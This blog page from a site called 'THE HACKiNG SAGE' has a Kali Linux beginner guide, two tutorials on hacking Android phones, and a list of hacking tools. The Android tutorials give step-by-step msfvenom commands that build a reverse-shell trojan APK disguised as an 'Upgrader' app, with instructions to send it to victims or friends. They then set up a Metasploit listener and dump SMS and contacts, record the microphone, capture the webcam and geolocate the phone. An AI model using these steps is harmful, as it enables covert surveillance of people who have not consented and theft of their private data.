Thursday, 3 November 2016

Hacking With Kali Linux (Full Guidance For Beginners)

Hacking With Kali Linux (Full Guidance For Beginners) - THE HACKiNG SAGE


Why Kali Linux ?

With Kali Linux, hacking becomes much easier since you have all the tools (more than 300 pre-installed tools) you are probably ever gonna need. Others can be downloaded easily. Now this tutorial will get you started and you'll be hacking with Kali Linux before you know it.

Hacking With Kali Linux (Full Guidance For Beginners) - THE HACKiNG SAGE

The Problem With Beginners :

Now, I've been dealing with beginners since a long time (and myself was one for a long time too). What they want is magic. A tool which is easy to use, works on Windows, can be download by searching on Google and clicking on the first link we see, and will do all the hacking itself on the push of a button. Sadly, no such tool exists (lets be real, would you use Facebook if a tool existed which you could install on Windows, simply type the person's username/mobile number/email and then just like that get his/her Facebook password?).

Hacking is an art, and it takes years of practice to master it. So how to get started? Having no idea about hacking is okay, but being a newbie with computers in general is not allowed. When I say beginner, I mean someone who has no experience with programming and with hacking methodologies. I didn't mean someone who needs a 1 page guide on how to download a tool. If you want to be a hacker, you have to work hard. So how to get started ?

Getting Started :

Now, I am not boring you with theory (^ As if all this wasn't enough theory). My aim is to get you to the point where you can start hacking with Kali Linux as soon as possible. What I'm gonna do is tell you what to do. The process is rather simple :-
  1. If you are totally clueless as to what Kali Linux is - Go to Kali's Official Website and get an idea.
  2. If you haven't already done that,go to their download page and download Kali Linux iso file.
Things Get Tough Now :


If you have no previous experience with Linux and virtual machines and all that stuff, getting Kali Linux up and running won't be a piece of cake.You have 2 options 3 options :

1. Read The Kali Official Documentation

That will give you an idea about what is a virtual machine, how OS can be run from USB, and how to create a partition and run 2 OS simultaneously. This is what I recommend. For that, go to Kali Official Documentation.

2. Read My Modified Version Of Kali Documentation

The second option is to look at these posts, which are just sparingly modified (and now outdated) versions of the Kali docs, and offer no advantage other than saving your time as their documentations cover much more than what the ones here do, and you don't really need to know all so much... yet. I'm linking them up here:
  1. Installing Kali Linux On Hard Disk using USB - Use RUFUS or Unetbootin
  2. Dual Boot Kali (alongside Windows) - Click Here
  3. Install Kali Linux in VmWare complete detailed guide - Click Here
3. Utilize The Zillions Of Tutorials On Youtube (New Option)

The time this guide was written (for the first time in 2013, then updated in 2014), Kali wasn't so popular. However, now there are plenty of websites dedicated to Kali Linux, and a lot of YouTube videos on how to install Kali. My installation guides are outdated (mine are for Kali 1.0, now even Kali 2.0 is outdated and Kali rolling is what most of you should be using). While you can use an old installation guide and make a few changes and have it work for you, it's better, especially if it's your first time installing an operating system alongside another, that you follow a guide tailored for your situation (eg. if you are installing Kali rolling on Windows 10 on virtualbox, then follow guide for the exact same configuration, and not for Kali 2.0 on Windows 8 on Vmware).

Installing an OS is serious business, don't take it lightly, and don't get discouraged if you fail at first. Also, backup your data if you're going for a dual boot.

Command Line Interface :

Now, if you are really sure about becoming a hacker, you have to get used to linux, and specifically the command line interface. It is often compared to (and rightly so) to command prompt of Windows, but Linux' cli is much efficient and better than command prompt. What you have to do is do all the usual tasks you do in Windows in cli of Linux. Use cd to navigate, poweroff to shutdown, etc.

A pretty awesome site for that is - http://linuxcommand.org/ Going through the complete site is on its own enough exercise to keep you occupied for a month, but you can proceed gradually. The first few tutorials here will keep in mind that you don't have much info about cli, and will be really beginner friendly.

Some Useful Commands :

If you don't plan on learning all of linux cli commands, here are a few that will keep your boat afloat.
  1. The default username and password is 'root' and 'toor'.
  2. Type 'poweroff' in the terminal to shutdown.
  3. apt-get command can be used to install tools and updates.
  4. apt-get update and apt-get upgrade will update all the programs installed on your machine.
  5. apt-get dist-upgrade will install the latest distribution of Kali(i.e. it upgrades your OS).
PS : Tapping <tab> while typing makes Kali complete the word for you . Double tapping <tab> makes it display all possible words starting with the incomplete word. Ctrl+c stops the functioning of any tool that is running. Pressing the up arrow key shows the command you last typed.

Some Real Hacking With Kali Linux :

Assuming you've gone through the above steps and are comfortable with your new hacking environment, its time to do some real hacking with Kali Linux. My recommendation would be to start by hacking a wifi, then do some penetration testing, and maybe read something on Denial of Service when you have free time. Links Here - 

How to Crack WPA and WPA2 Wi-Fi Encryption Using Kali Linux?

Hack A Facebook Account Using Kali-Linux (Credential Harvester Attack) 

Click Here For More..

Done !!! :)

and if you like this post please like & share with your friends...

& Don't Forget To....

Like Our Facebook Page : www.facebook.com/thehackingsage

Join Our Facebook Group : www.facebook.com/groups/thehackingsage

Follow Us at Twitter : www.twitter.com/thehackingsage

Follow Us at Instagram : www.instagram.com/thehackingsage

Subscribe Our You Tube Channel : www.youtube.com/c/THEHACKiNGSAGE4U

Keep Visiting... Enjoy !!! :)

Labels: , , , , , , , , ,

Wednesday, 25 May 2016

Hack Any Android Phone Using Kali. (Method 2)


Msfvenom Is A Kali Linux Hacking Tool For Android ,Is A Combination Of Msfpayload And Msfencode, Putting Both Of These Tools Into A Single Framework Instance Known As Msfvenom Payload.

Hacking With METASPLOIT In Kali Linux Is A Old Tool. Metasploit Is Enhanced By Msfvenom In Kali Linux. Metasploit Is Now A Outdated Tool.

So, let's get started... !!!

Follow These Simple Steps :

1. Fire Up kali and open command terminal.

2. Set payload and create custom windows executable.

Command:
root@kali:-# msfvenom -p android/meterpreter/reverse_tcp  LHOST=192.168.0.110 LPORT=4444 R > andro.apk
(To know your LHOST, open new terminal and type ifconfig )

Your apk file is being saved in the Home folder.

Note: Don't add any stray space characters anywhere. Use the command as is (after changing the LHOST and LPORT as needed).

3. Transfer/mail this file (here andro.apk) file to the victim's phone and install it.

4. Start the metasploit framework console as follows :
         
Command :
root@kali:-# msfconsole

5.
Now it's time to open and setup multi-handler. Follows the steps :
msf  > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.110
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
        Payload Handler is being started........

6.
When the victims clicks on the app(installed as MAIN ACTIVITY in the menu) in his phone, meterpreter session will be established.

7. Try the following exploit commands :
    - record_mic
    - webcam_snap
    - webcam_stream
    - dump_contacts
    - dump_sms
    - geolocate

************************************************************************
Error fixing (incase you get PARSE ERROR)

Parse error : To fix this error download signapk - Click here to download

Steps To follow :
  • Open Signapk folder then open cmd.
  • Copy the andro.apk(the app you made) in Signapk folder.
  • Type java -" jar signapk.jar certificate.pem key.pk8 andro.apk andro-signed.apk "in cmd(not double quotes).
  • copy it in your phone and install it.
Hope this works... :)

Share the post with your friends...

Enjoy HACKiNG !!! :)

Labels: , , , , ,

Hack Any Android Phone Using Kali. (Method 1)


This is a tutorial explaining how to hack android phones with Kali.

I can't see any tutorials explaining this Hack/Exploit, so, I made one.

Step 1 :

  • Open a terminal, and make a Trojan.apk
  • You can do this by typing :
  • msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.4 R > /root/Upgrader.apk (replace LHOST with your own IP)
  • You can also hack android on WAN i.e. through Interet by using yourPublic/External IP in the LHOST and by port forwarding (ask me about port forwarding if you have problems in the comment section)

Step 2 :

  • Open another terminal until the file is being produced.
  • Load metasploit console, by typing : msfconsole

Step 3 :

  • After it loads(it will take time), load the multi-handler exploit by typing :use exploit/multi/handler
  • Set up a (reverse) payload by typing : set payload android/meterpreter/reverse_tcp
  • To set L host type : set LHOST 192.168.0.4 (Even if you are hacking on WAN type your private/internal IP here not the public/external)

Step 4 :

  • At last type: exploit to start the listener.
  • Copy the application that you made (Upgrader.apk) from the root folder, to you android phone.
  • Then send it using Uploading it to Dropbox or any sharing website                          (Like : www.speedyshare.com).
  • Then send the link that the Website gave you to your friends and exploit their phones (Only on LAN, but if you used the WAN method then you can use the exploit anywhere on the INTERNET)
  • Let the Victim install the Upgrader app(as he would think it is meant to upgrade some features on his phone)
  • However, the option of allowance for Installation of apps from Unknown Sources should be enabled (if not) from the security settings of the android phone to allow the Trojan to install.
  • And when he clicks Open...

Step 5 :

There comes the meterpreter prompt :
Done !!!
NOTE : Some post modules that work for windows might not work in android
For Eg: run killav, persistence (persistent backdoor) etc..

Enjoy HACKiNG !!! :)

Labels: , , , , , ,

Tuesday, 26 April 2016

List of 2016 Hacker Tools by Concise !!!

List of Hacker Tools

Here Is The 2016 Concise List of Hacker Tools ..

Name of Hacking Tool NameTutorial & Tool Information
Advanced Intrusion Detection Environment Rootkit DetectorsAdvanced Intrusion Detection Environment Info & Video
Acunetix WVS Web Vulnerability ScannersAcunetix WVS Info & Video
Aircrack Password CrackersAircrack Info & Video
Angry IP Scanner Port ScannersAngry IP Scanner Info & Video
AppScan Web Vulnerability ScannersAppScan Info & Video
ArchAssault Linux Hacking DistroArchAssault Info & Video
Argus Traffic Monitoring ToolsArgus Info & Video
Autopsy ForensicsAutopsy Info & Video
BackBox Linux Hacking DistroBackBox Info & Video
BeEF Vulnerability Exploitation ToolsBeEF Info & Video
BlackArch Linux Linux Hacking DistroBlackArch Linux Info & Video
Bugtraq Linux Hacking DistroBugtraq Info & Video
Burp Suite Web Vulnerability ScannersBurp Suite Info & Video
Cain & Abel Packet SniffersCain & Abel Info & Video
CAINE Linux Hacking DistroCAINE Info & Video
Core Impact Vulnerability Exploitation ToolsCore Impact Info & Video
Core Impact Vulnerability ScannersCore Impact Info & Video
Crowbar Password CrackersCrowbar Info & Video
cURL General Purpose ToolscURL Info & Video
DEFT Linux Hacking DistroDEFT Info & Video
DirBuster Web Vulnerability ScannersDirBuster Info & Video
dradis Vulnerability Exploitation Toolsdradis Info & Video
dsniff Packet Sniffersdsniff Info & Video
DumpSec Rootkit DetectorsDumpSec Info & Video
EnCase ForensicsEnCase Info & Video
EtherApe Packet SniffersEtherApe Info & Video
EtherApe Traffic Monitoring ToolsEtherApe Info & Video
Ettercap Packet SniffersEttercap Info & Video
Ettercap Traffic Monitoring ToolsEttercap Info & Video
Fedora Security Spin Linux Hacking DistroFedora Security Spin Info & Video
Fern WiFi Wireless Cracker Wireless ToolsFern WiFi Wireless Cracker Info & Video
Fiddler Web ProxiesFiddler Info & Video
Firebug Web Vulnerability ScannersFirebug Info & Video
Firebug Web Browser RelatedFirebug Info & Video
GDB DebuggersGDB Info & Video
GFI LanGuard Vulnerability ScannersGFI LanGuard Info & Video
GnuPG/PGP Encryption ToolsGnuPG/PGP Info & Video
Grendel-Scan Web Vulnerability ScannersGrendel-Scan Info & Video
Helix3 Pro ForensicsHelix3 Pro Info & Video
HijackThis Rootkit DetectorsHijackThis Info & Video
Honeyd Intrusion Detection SystemsHoneyd Info & Video
HP Webinspect Web Vulnerability ScannersHP Webinspect Info & Video
Hping Packet Crafting ToolsHping Info & Video
IDA Pro DebuggersIDA Pro Info & Video
Immunity Debugger DebuggersImmunity Debugger Info & Video
inSSIDer Packet SniffersinSSIDer Info & Video
inSSIDer Wireless ToolsinSSIDer Info & Video
John the Ripper Password CrackersJohn the Ripper Info & Video
Kail Linux Linux Hacking DistroKail Linux Info & Video
KeePass Encryption ToolsKeePass Info & Video
KeePassX Encryption ToolsKeePassX Info & Video
KisMAC Packet SniffersKisMAC Info & Video
KisMAC Wireless ToolsKisMAC Info & Video
Kismet Packet SniffersKismet Info & Video
Kismet Wireless ToolsKismet Info & Video
Knoppix STD Linux Linux Hacking DistroKnoppix STD Linux Info & Video
L0phtCrack Password CrackersL0phtCrack Info & Video
Maltego ForensicsMaltego Info & Video
Matriux Krypton Linux Hacking DistroMatriux Kryptonrk Info & Video
MBSA Vulnerability ScannersMBSA Info & Video
Medusa Password CrackersMedusa Info & Video
Metasploit Vulnerability Exploitation ToolsMetasploit Info & Video
Metasploit Wireless ToolsMetasploit Info & Video
Nagios Traffic Monitoring ToolsNagios Info & Video
NBTScan Application Specific ScannersNBTScan Info & Video
Nessus Vulnerability ScannersNessus Info & Video
Netcat General Purpose ToolsNetcat Info & Video
Netfilter FirewallsNetfilter Info & Video
NetScanTools Port ScannersNetScanTools Info & Video
Netsparker Vulnerability Exploitation ToolsNetsparker Info & Video
Netsparker Web Vulnerability ScannersNetsparker Info & Video
NetStumbler Packet SniffersNetStumbler Info & Video
NetStumbler Wireless ToolsNetStumbler Info & Video
NetworkMiner Packet SniffersNetworkMiner Info & Video
Nexpose Vulnerability ScannersNexpose Info & Video
Ngrep Packet SniffersNgrep Info & Video
Ngrep Traffic Monitoring ToolsNgrep Info & Video
Nikto Web Vulnerability ScannersNikto Info & Video
Nipper Vulnerability ScannersNipper Info & Video
Nmap Port ScannersNmap Info & Video
NodeZero Linux Hacking DistroNodeZero Info & Video
NoScript Web Browser RelatedNoScript Info & Video
Ntop Packet SniffersNtop Info & Video
Ntop Traffic Monitoring ToolsNtop Info & Video
OllyDbg DebuggersOllyDbg Info & Video
OpenBSD PF FirewallsOpenBSD PF Info & Video
OpenSSH/PuTTY/SSH Encryption ToolsOpenSSH/PuTTY/SSH Info & Video
OpenSSL Encryption ToolsOpenSSL Info & Video
OpenVAS Vulnerability ScannersOpenVAS Info & Video
OpenVPN Encryption ToolsOpenVPN Info & Video
ophcrack Password Crackersophcrack Info & Video
OSSEC HIDS Intrusion Detection SystemsOSSEC HIDS Info & Video
OSSIM Intrusion Detection SystemsOSSIM Info & Video
p0f Packet Sniffersp0f Info & Video
p0f Traffic Monitoring Toolsp0f Info & Video
Paros Proxy Web ProxiesParos Proxy Info & Video
Paros Proxy Web Vulnerability ScannersParos Proxy Info & Video
Parrot Linux Linux Hacking DistroParrot Linux Info & Video
Password Safe Encryption ToolsPassword Safe Info & Video
Pentoo Linux Hacking DistroPentoo Info & Video
QualysGuard Vulnerability ScannersQualysGuard Info & Video
RainbowCrack Password CrackersRainbowCrack Info & Video
ratproxy Web Proxiesratproxy Info & Video
ratproxy Web Vulnerability Scannersratproxy Info & Video
Retina Vulnerability ScannersRetina Info & Video
SAINT Vulnerability ScannersSAINT Info & Video
Samurai Web Testing Framework Linux Hacking DistroSamurai Web Testing Framework Info & Video
Samurai Web Testing Framework Web Vulnerability ScannersSamurai Web Testing Framework Info & Video
Scapy Packet Crafting ToolsScapy Info & Video
Secunia PSI Vulnerability ScannersSecunia PSI Info & Video
Sguil Intrusion Detection SystemsSguil Info & Video
skipfish Fuzzersskipfish Info & Video
Skipfish Web Vulnerability ScannersSkipfish Info & Video
Snort Intrusion Detection SystemsSnort Info & Video
Socat General Purpose ToolsSocat Info & Video
Socat Packet Crafting ToolsSocat Info & Video
Social Engineer Toolkit Vulnerability Exploitation ToolsSocial Engineer Toolkit Info & Video
SolarWinds Password CrackersSolarWinds Info & Video
SolarWinds Traffic Monitoring ToolsSolarWinds Info & Video
Splunk Traffic Monitoring ToolsSplunk Info & Video
sqlmap Vulnerability Exploitation Toolssqlmap Info & Video
sqlmap Web Vulnerability Scannerssqlmap Info & Video
sqlninja Vulnerability Exploitation Toolssqlninja Info & Video
sslstrip Web Proxiessslstrip Info & Video
Stunnel Encryption ToolsStunnel Info & Video
Sysinternals Rootkit DetectorsSysinternals Info & Video
Tamper Data Web Browser RelatedTamper Data Info & Video
tcpdump Packet Snifferstcpdump Info & Video
THC Amap Application Specific ScannersTHC Amap Info & Video
THC Hydra Password CrackersTHC Hydra Info & Video
The Zed Attack Proxy (ZAP) Web Vulnerability ScannersThe Zed Attack Proxy (ZAP) Info & Video
Tor Encryption ToolsTor Info & Video
Tripwire Rootkit DetectorsTripwire Info & Video
TrueCrypt Encryption ToolsTrueCrypt Info & Video
Unicornscan Port ScannersUnicornscan Info & Video
urlsnarf Packet Sniffersurlsnarf Info & Video
w3af Fuzzersw3af Info & Video
w3af Vulnerability Exploitation Toolsw3af Info & Video
w3af Web Vulnerability Scannersw3af Info & Video
Wapiti FuzzersWapiti Info & Video
Wapiti Web Vulnerability ScannersWapiti Info & Video
WEAKERTH4N Linux Hacking DistroWEAKERTH4N Info & Video
WebGoat Vulnerability Exploitation ToolsWebGoat Info & Video
WebScarab Web Vulnerability ScannersWebScarab Info & Video
Websecurify Web Vulnerability ScannersWebsecurify Info & Video
Wfuzz FuzzersWfuzz Info & Video
Wfuzz Password CrackersWfuzz Info & Video
Wfuzz Web Vulnerability ScannersWfuzz Info & Video
Wifiphisher Wireless ToolsWifiphisher Info & Video
Wikto Web Vulnerability ScannersWikto Info & Video
WinDbg DebuggersWinDbg Info & Video
Windows Exploit Suggester Vulnerability Exploitation ToolsWindows Exploit Suggester Info & Video
Wireshark Packet Crafting ToolsWireshark Info & Video
Yersinia Packet Crafting ToolsYersinia Info & Video

Thanks To Concise-Courses for This Hacking Tools List...


Enjoy!!!

Labels: , , ,